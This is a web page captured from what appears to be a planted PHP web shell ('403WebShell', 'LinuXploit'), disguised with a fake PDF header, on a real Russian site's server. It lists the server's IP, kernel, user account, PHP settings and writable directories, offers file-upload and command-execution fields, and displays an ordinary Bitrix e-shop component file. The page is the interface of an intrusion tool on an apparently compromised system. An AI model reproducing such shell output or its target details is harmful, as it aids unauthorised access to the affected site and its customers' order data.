%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.118.20.148
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.mobile.order.transact/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.mobile.order.transact//component.php
<?
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)
	die();

if (!CModule::IncludeModule('sale'))
{
	ShowError(GetMessage("SMOT_SALE_NOT_INSTALLED"));
	return;
}

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");

if ($saleModulePermissions == "D")
{
	ShowError(GetMessage("SMOT_NO_PERMS2VIEW"));
	return;
}

if (!CModule::IncludeModule('mobileapp'))
{
	ShowError("SMOT_MOBILEAPP_NOT_INSTALLED");
	return;
}

if (isset($_REQUEST['id']))
	$orderId = $_REQUEST['id'];
else
	return;

$arResult["ORDER"] = CSaleMobileOrderUtils::getOrderInfoDetail($orderId);

$allowedStatusesView = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($USER->GetID(), array('view'));
$isAllowView = in_array($arResult['ORDER']['STATUS_ID'], $allowedStatusesView);

if(!$isAllowView)
{
	ShowError(GetMessage("SMOT_NO_PERMS2VIEW"));
	return;
}

$arResult["TYPES"] = array(
	"ORDER_PAY" => GetMessage("SMOT_TR_TYPE_PAYMENT"),
	"CC_CHARGE_OFF" => GetMessage("SMOT_TR_TYPE_FROM_CARD"),
	"OUT_CHARGE_OFF" => GetMessage("SMOT_TR_TYPE_INPUT"),
	"ORDER_UNPAY" => GetMessage("SMOT_TR_TYPE_CANCEL_PAYMENT"),
	"ORDER_CANCEL_PART" => GetMessage("SMOT_TR_TYPE_CANCEL_SEMIPAYMENT"),
	"MANUAL" => GetMessage("SMOT_TR_TYPE_HAND"),
	"DEL_ACCOUNT" => GetMessage("SMOT_TR_TYPE_DELETE"),
	"AFFILIATE" => GetMessage("SMOT_MOBILEAPP_NOT_INSTALLED")
);

$dbTransact = CSaleUserTransact::GetList(
		array("TRANSACT_DATE" => "DESC"),
		array("ORDER_ID" => $orderId),
		false,
		false,
		array("ID", "USER_ID", "AMOUNT", "CURRENCY", "DEBIT", "ORDER_ID", "DESCRIPTION", "NOTES", "TIMESTAMP_X", "TRANSACT_DATE")
	);

while ($arTransact = $dbTransact->Fetch())
{
	$arTransact["AMOUNT_PREPARED"] = (($arTransact["DEBIT"] == "Y") ? "+" : "-").SaleFormatCurrency($arTransact["AMOUNT"], $arTransact["CURRENCY"]);
	$arResult["TRANSACTS"][] = $arTransact;
}

$this->IncludeComponentTemplate();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit